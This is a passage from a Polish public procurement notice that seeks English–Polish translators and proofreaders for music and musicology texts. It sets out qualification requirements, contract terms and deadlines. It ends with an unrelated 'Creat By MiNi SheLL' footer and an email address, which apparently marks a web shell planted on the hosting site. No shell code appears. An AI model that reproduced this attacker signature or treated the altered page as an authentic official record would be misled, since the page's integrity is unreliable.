(słownie: dwoma) osobami, które spełniają następujące minimalne wymagania dotyczące wykształcenia lub kwalifikacji oraz doświadczenia:<br/>•	Wykształcenie lub kwalifikacje: ukończone studia wyższe, minimum 3-letnie, na kierunku filologicznym lub lingwistycznym języka angielskiego (w Polsce lub za granicą) bądź posiadanie certyfikatu potwierdzającego znajomość języka angielskiego na poziomie zaawansowanym albo posiadanie statusu native speakera* z ukończonymi studiami wyższymi (w Polsce lub za granicą), minimum 3-letnie, na kierunku, na którym językiem wykładowym był język polski oraz język angielski bądź posiadanie certyfikatu potwierdzającego znajomość języka polskiego na poziomie zaawansowanym.<br/>•	Doświadczenie zawodowe: każdy z tłumaczy w swoim dorobku zawodowym przetłumaczył co najmniej 350 stron znormalizowanych, w tym co najmniej 100 stron znormalizowanych tekstów z zakresu muzyki i muzykologii (strona znormalizowana = 1800 znaków ze spacjami) z języka polskiego na język angielski lub z języka angielskiego na język polski.<br/>b.2	Wymagania dotyczące osób skierowanych do realizacji zamówienia pełniących funkcję korektora: znajdują się w treści SEKCJI IX pn. &#34;POZOSTAŁE INFORMACJE&#34; <h3 class="mb-0">5.5.) Zamawiający wymaga złożenia oświadczenia, o którym mowa w art.125 ust. 1 ustawy: <span class="normal">Tak</span></h3> <h3 class="mb-0"> 5.7.) Wykaz podmiotowych środków dowodowych na potwierdzenie spełniania warunków udziału w postępowaniu: <span class="normal">Zamawiający, na potwierdzenie spełnienia warunków udziału w postępowaniu dotyczących zdolności technicznej lub zawodowej, będzie wymagał złożenia przez Wykonawców następujących podmiotowych środków dowodowych:<br/>1)	odnośnie warunku wskazanego w § 14 ust. 1 pkt 4) lit a SWZ – odpowiednio do oferowanej części zamówienia wykaz usług wykonanych, a w przypadku świadczeń powtarzających się lub ciągłych również wykonywanych, w okresie ostatnich 3 lat, a jeżeli okres prowadzenia działalności jest krótszy – w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane lub są wykonywane, oraz załączeniem dowodów określających, czy te usługi zostały wykonane lub są wykonywane należycie, o których mowa w § 9 ust. 1 pkt 2 Rozporządzenia o dokumentach podmiotowych, wykaz ten należy złożyć na wezwanie według wzoru podanego w załączniku nr 5 do SWZ,<br/>2)	odnośnie warunku wskazanego w § 14 ust. 1 pkt 4) lit b SWZ – wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami, wykaz ten należy złożyć na wezwanie według wzoru podanego w załączniku nr 6 do SWZ.</span> </h3> <h3 class="mb-0">5.8.) Wykaz przedmiotowych środków dowodowych: </h3> Zamawiający wymaga złożenia w postępowaniu przedmiotowego środka dowodowego – próbki tłumaczenia (odpowiednio dla każdej z części postępowania), zwanego dalej „Próbką”, który będzie służyć potwierdzeniu zgodności oferowanej usługi z wymaganiami i cechami określonymi w opisie kryterium oceny ofert pod nazwą „Jakość próbki” przedstawionym w § 18 ust. 2 SWZ. Próbka stanowi przedmiotowy środek dowodowy w postępowaniu i na podstawie art. 107 ust. 3 ustawy Pzp nie podlega uzupełnieniu. <h3 class="mb-0">5.9.) Zamawiający przewiduje uzupełnienie przedmiotowych środków dowodowych: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VI - WARUNKI ZAMÓWIENIA</h2> <h3 class="mb-0">6.1.) Zamawiający wymaga albo dopuszcza oferty wariantowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.3.) Zamawiający przewiduje aukcję elektroniczną: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.4.) Zamawiający wymaga wadium: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.5.) Zamawiający wymaga zabezpieczenia należytego wykonania umowy: <span class="normal">Nie</span></h3> <h3 class="mb-0">6.6.) Wymagania dotyczące składania oferty przez wykonawców wspólnie ubiegających się o udzielenie zamówienia: </h3> 3.	Wykonawcy mogą wspólnie ubiegać się o udzielenie zamówienia. W przypadku wspólnego ubiegania się o udzielenie zamówienia Wykonawcy ustanawiają pełnomocnika do reprezentowania ich w postępowaniu o udzielenie zamówienia publicznego albo do reprezentowania w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego. Przepisy dotyczące Wykonawcy stosuje się odpowiednio do Wykonawców wspólnie ubiegających się o udzielenie zamówienia. Szczegółowe zasady dotyczące składania<br/>oświadczeń i dokumentów podane są w SWZ. <h3 class="mb-0">6.7.) Zamawiający przewiduje unieważnienie postępowania, jeśli środki publiczne, które zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia nie zostały przyznane: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VII - PROJEKTOWANE POSTANOWIENIA UMOWY</h2> <h3 class="mb-0">7.1.) Zamawiający przewiduje udzielenia zaliczek: <span class="normal">Nie</span></h3> <h3 class="mb-0">7.3.) Zamawiający przewiduje zmiany umowy: <span class="normal">Tak</span></h3> <h3 class="mb-0">7.4.) Rodzaj i zakres zmian umowy oraz warunki ich wprowadzenia: </h3> Dotyczy części 1-3<br/>1.	Zamawiający, zgodnie z art. 455 ust. 1 pkt 1 ustawy Pzp dopuszcza zmianę Umowy bez przeprowadzania nowego postępowania, w następujących sytuacjach:<br/>a)	zmiany obowiązujących przepisów prawnych, jakie mają zastosowanie do zamówienia stanowiącego przedmiot Umowy – zmiana stosowna do wprowadzanych rozwiązań prawnych;<br/>b)	zmiany stawki podatku VAT – cena netto nie ulegnie zmianie, nastąpi jedynie zmiana ceny brutto;<br/>c)	zmiany sposobu rozliczania Umowy lub dokonywania płatności na rzecz Wykonawcy;<br/>d)	zmiany terminów płatności;<br/>e)	pojawienia się okoliczności nieprzewidzianych w momencie zawierania Umowy.<br/>2.	Zamawiający przewiduje możliwość dokonania zmiany Umowy o następującym zakresie i charakterze:<br/>a)	wynikającym z dokonanej zmiany przepisów w przypadku, o którym mowa w ust. 1 pod lit. a) niniejszego paragrafu;<br/>b)	wynagrodzenia za wykonanie Umowy, w przypadkach, o których mowa w ust. 1 pod lit. b (zmiana ograniczona do zmiany wysokości wynagrodzenia wynikającej ze zmiany stawki podatku), lit. c (zmiana uzależniona od zmiany sposobu rozliczania Umowy lub dokonywania płatności na rzecz Wykonawcy), lit. d (zmiana polegająca na wydłużeniu bądź skróceniu terminów płatności), lit. e (zmiana polegająca na zwiększeniu bądź zmniejszeniu wynagrodzenia w zależności od okoliczności nieprzewidzianych w momencie zawierania Umowy);<br/>c)	zakresu Dzieła lub/i wymagań technicznych dotyczących Dzieła w przypadkach, o których mowa w ust. 1 pod lit. e (zmiana polegająca na zwiększeniu bądź zmniejszeniu zakresu Dzieła lub/i wymagań technicznych dotyczących Dzieła uzależniona od okoliczności nieprzewidzianych w momencie zawierania Umowy). <h3 class="mb-0">7.5.) Zamawiający uwzględnił aspekty społeczne, środowiskowe, innowacyjne lub etykiety związane z realizacją zamówienia: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA VIII – PROCEDURA</h2> <h3 class="mb-0">8.1.) Termin składania ofert: <span class="normal">2021-10-25 12:00</span></h3> <h3 class="mb-0">8.2.) Miejsce składania ofert: <span class="normal">Wykonawca składa ofertę za pośrednictwem Platformy pod adresem: https://nifc.eb2b.com.pl/</span></h3> <h3 class="mb-0">8.3.) Termin otwarcia ofert: <span class="normal">2021-10-25 12:30</span></h3> <h3 class="mb-0">8.4.) Termin związania ofertą: <span class="normal">do 2021-11-23</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IX – POZOSTAŁE INFORMACJE</h2> b.2	Wymagania dotyczące osób skierowanych do realizacji zamówienia pełniących funkcję korektora:<br/>Zamawiający uzna powyższy warunek za spełniony, jeżeli Wykonawca wykaże że dysponuje co najmniej 1 (słownie: jedną) osobą, która spełnia następujące minimalne wymagania dotyczące wykształcenia lub kwalifikacji oraz doświadczenia:<br/>•	Wykształcenie lub kwalifikacje: ukończone studia wyższe, minimum 3-letnie, na kierunku filologicznym lub lingwistycznym języka angielskiego (w Polsce lub za granicą) bądź posiadanie certyfikatu potwierdzającego znajomość języka angielskiego na poziomie zaawansowanym albo posiadanie statusu native speakera* z ukończonymi studiami wyższymi (w Polsce lub za granicą), minimum 3-letnie, na kierunku, na którym językiem wykładowym był język polski oraz język angielski bądź posiadanie certyfikatu potwierdzającego znajomość języka polskiego na poziomie zaawansowanym.<br/>•	Doświadczenie zawodowe: w swoim dorobku zawodowym dokonała korekty co najmniej 350 stron znormalizowanych, w tym co najmniej 100 stron znormalizowanych tekstów z zakresu muzyki i muzykologii (strona znormalizowana = 1800 znaków ze spacjami) z języka polskiego na język angielski lub z języka angielskiego na język polski.<br/>*Native speaker - rodzimy użytkownik danego języka, który posługuje się danym językiem jako językiem ojczystym. Jednocześnie język ojczysty to język pierwszy, który native speaker opanował w stopniu doskonałym.<br/>Zamawiający wymaga, aby Wykonawca wskazał inne osoby do pełnienia funkcji tłumacza i korektora.

Creat By MiNi SheLL
Email: jattceo@gmail.com